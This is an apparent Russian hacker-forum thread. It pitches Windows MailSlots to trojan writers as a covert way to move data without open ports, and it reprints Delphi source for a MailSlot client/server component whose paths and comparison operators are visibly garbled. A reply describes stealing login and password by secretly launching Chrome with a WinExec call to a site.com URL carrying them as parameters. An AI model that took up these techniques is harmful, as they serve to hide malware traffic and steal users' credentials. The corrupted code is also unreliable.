1. По причине блокировки роскомнадзором раз в несколько месяцев мы меняем доменное имя. Чтоб не потерять новую ссылку просто зарегистрируйтесь и вы получите сообщение о замене на свою почту!
    Скрыть объявление
Скрыть объявление
По причине блокировки роскомнадзором раз в несколько месяцев мы меняем доменное имя. Чтоб не потерять новую ссылку просто зарегистрируйтесь и вы получите сообщение о замене на свою почту!
Скрыть объявление
Проводите сделки через Гарант-сервис чтоб полностью обезопасить свои покупки.

MailSlots

Тема в разделе "Спам, ботнеты, кодинг, загрузки", создана пользователем ze2357, 14 апр 2017.

  1. ze2357

    ze2357

    Сообщения:
    17
    Симпатии:
    0
    Баллы:
    1
    MailSlots — будущее троянологии.
    Привет мой друг. Ты пишешь трояны? Используешь сокеты?
    Думаешь как максимально скрыть свое присутствие? Если ответ да, то эта статья для тебя.
    В ней я расскажу про альтернативный способ передачи данных, а именно MailSlots.
    Эта система реализована с ранних версий Win и работает безупречно.
    Причем практически не возможно определить передачу данных — только,
    если снифить всю систему( Ни какие порты не открываются, соединения не висят).
    Сейчас немного практики. Для простоты понимания опишу все на Delphi.


    Обмен текстовыми данными в локальной сети очень прост. Для этого необходимы функции:
    CreateMailslot — создание почтового канала;
    GetMailslotInfo — определение наличия сообщения в канале;
    ReadFile — чтение сообщения из канала, как из файла;
    WriteFile — запись сообщения в канал, как в файл;

    Все и так понятно, но на всякий случай напишу примеры.


    Рассмотрим создание почтового канала (сервер).
    //… создание канала с именем MailSlotName — по этому имени к нему
    // будут обращаться клиенты
    h := CreateMailSlot(PChar('.mailslot' + MailSlotName),
    0, MAILSLOT_WAIT_FOREVER,nil);

    if h = INVALID_HANDLE_VALUE then
    begin
    raise Exception.Create('MailSlotServer: Ошибка создания канала !');


    Отправка сообщений по почтовому каналу (клиенты).
    if not GetMailSlotInfo(h,nil,DWORD(MsgNext),@MsgNumber,nil) then
    begin
    raise Exception.Create('TglMailSlotServer: Ошибка сбора информации!');
    end;

    if MsgNext MAILSLOT_NO_MESSAGE then
    begin
    beep;
    // чтение сообщения из канала и добавление в текст протокола
    if ReadFile(h,str,200,DWORD(read),nil) then
    MessageText := str
    else
    raise Exception.Create('TglMailSlotServer: Ошибка чтения сообщения !');
    end;



    Вот так просто мы можем скрыть передачу данных в сети.
    Если кому интересно, то вот вам готовый компонент для работы с MailSlots, написанный Чудиным А.В.

    {
    Globus Delphi VCL Extensions Library
    ' GLOBUS LIB '
    Freeware
    Copyright © 2000 Chudin A.V, FidoNet: 1246.1
    gl3DCol Unit 05.2000 components TglMailSlotServer, TglMailSlotClient
    }
    unit glMSlots;

    interface

    uses
    Windows, Messages, SysUtils, Classes, Graphics, Controls,
    Forms, Dialogs, extctrls;

    type
    TOnNewMessage = procedure (Sender: TObject; MessageText: string) of object;

    TglMailSlotServer = class(TComponent)
    private
    FMailSlotName, FLastMessage: string;
    FOnNewMessage: TOnNewMessage;

    Timer: TTimer; //… таймер для прослушивания канала
    h: THandle;
    str: string[250];
    MsgNumber,MsgNext,read: DWORD;
    public
    constructor Create(AOwner: TComponent); override;
    destructor Destroy; override;
    procedure Open; //… создание канала
    procedure Close; //… закрытие канала
    protected
    procedure Loaded; override;
    procedure OnTimer(Sender: TObject);
    published
    property MailSlotName: string read FMailSlotName write FMailSlotName;
    //… событие получения сообщения
    property OnNewMessage: TOnNewMessage read FOnNewMessage write FOnNewMessage;
    end;


    TglMailSlotClient = class(TComponent)
    private
    FMailSlotName, FServerName, FLastMessage: string;
    public
    constructor Create(AOwner: TComponent); override;
    destructor Destroy; override;
    function Send(str: string):boolean; //… отправка сообщения
    protected
    procedure Loaded; override;
    procedure ErrorCatch(Sender: TObject; Exc: Exception);
    published
    property ServerName: string read FServerName write FServerName;
    property MailSlotName: string read FMailSlotName write FMailSlotName;
    end;

    procedure register;

    implementation

    procedure register;
    begin
    RegisterComponents('Gl Components', [TglMailSlotServer, TglMailSlotClient]);
    end;

    constructor TglMailSlotServer.Create(AOwner: TComponent);
    begin
    inherited;
    FEnabled := true;
    FMailSlotName := 'MailSlot';
    Timer := TTimer.Create(nil);
    Timer.Enabled := false;
    Timer.OnTimer := OnTimer;
    end;

    destructor TglMailSlotServer.Destroy;
    begin
    Timer.Free;
    // закрытие канала
    Close;
    inherited;
    end;

    procedure TglMailSlotServer.Loaded;
    begin
    inherited;
    Open;
    end;

    procedure TglMailSlotServer.Open;
    begin
    // создание канала с именем MailSlotName — по этому имени к нему
    // будут обращаться клиенты
    h := CreateMailSlot(PChar('.mailslot' + MailSlotName),
    0, MAILSLOT_WAIT_FOREVER,nil);
    //h:=CreateMailSlot('.mailslotMailSlot', 0, MAILSLOT_WAIT_FOREVER,nil);

    if h = INVALID_HANDLE_VALUE then
    raise Exception.Create('TglMailSlotServer: Ошибка создания канала !');
    Timer.Enabled := true;
    end;

    procedure TglMailSlotServer.Close;
    begin
    if h 0 then
    CloseHandle(h);
    h := 0;
    end;

    procedure TglMailSlotServer.OnTimer(Sender: TObject);
    var
    MessageText: string;
    begin
    MessageText := '';
    // определение наличия сообщения в канале
    if not GetMailSlotInfo(h,nil,DWORD(MsgNext),@MsgNumber,nil) then
    raise Exception.Create('TglMailSlotServer: Ошибка сбора информации!');

    if MsgNext MAILSLOT_NO_MESSAGE then
    begin
    beep;
    // чтение сообщения из канала и добавление в текст протокола
    if ReadFile(h,str,200,DWORD(read),nil) then
    MessageText := str
    else
    raise Exception.Create('TglMailSlotServer: Ошибка чтения сообщения !');
    end;

    if (MessageText'')and Assigned(OnNewMessage) then
    OnNewMessage(self, MessageText);

    FLastMessage := MessageText;
    end;

    constructor TglMailSlotClient.Create(AOwner: TComponent);
    begin
    inherited;
    FMailSlotName := 'MailSlot';
    FServerName := '';
    end;

    destructor TglMailSlotClient.Destroy;
    begin
    inherited;
    end;

    procedure TglMailSlotClient.Loaded;
    begin
    inherited;
    Application.OnException := ErrorCatch;
    end;

    procedure TglMailSlotClient.ErrorCatch(Sender: TObject; Exc: Exception);
    var
    UserName: array[0..99] of char;
    i: integer;
    begin
    // получение имени пользователя
    i:=SizeOf(UserName);
    GetUserName(UserName,DWORD(i));

    Send('/'+UserName+'/'+FormatDateTime ('hh:mm',Time)+'/'+Exc.message);
    // вывод сообщения об ошибке пользователю
    Application.ShowException(Exc);
    end;

    function TglMailSlotClient.Send(str: string):boolean;
    var
    strMess: string[250];
    UserName: array[0..99] of char;
    h: THandle;
    i: integer;
    begin
    // открытие канала: MyServer — имя сервера
    // (.mailslotxxx — монитор работает на этом же ПК)
    // xxx — имя канала
    if FServerName = '' then
    FServerName := '.';
    h:=CreateFile( PChar('' + FServerName + 'mailslot' + FMailSlotName),
    GENERIC_WRITE, FILE_SHARE_READ, nil, OPEN_EXISTING, 0, 0);
    if h INVALID_HANDLE_VALUE then
    begin
    strMess := str;
    // передача текста ошибки (запись в канал и закрытие канала)
    WriteFile(h, strMess, Length(strMess) + 1, DWORD(i), nil);
    CloseHandle(h);
    end;
    Result := h INVALID_HANDLE_VALUE;
    end;

    end.


    Компонент TglMailSlotServer создает почтовый канал с именем MailSlotName и принимает входящие сообщения.
    Компонент TglMailSlotClient отправляет сообщения в канал с именем MailSlotName на машине ServerName.
  2. stasuk25

    stasuk25

    Сообщения:
    2
    Симпатии:
    0
    Баллы:
    1
    Открою секрет, есть множество способов осуществить передачу данных пользователя.
    Например, с помощью WinExec вызвать cmd, с параметрами chrome "http://site.com/?logi=&pass=" , да и не забудьте выставить SW_HIDE для командной строки. Да я понимаю, что откроется окно хрома и т.д., но если отловить созданный процесс, то можно ему выставить по умолчанию параметр SW_HIDE или nil, затем корректно завершить процесс.

Поделиться этой страницей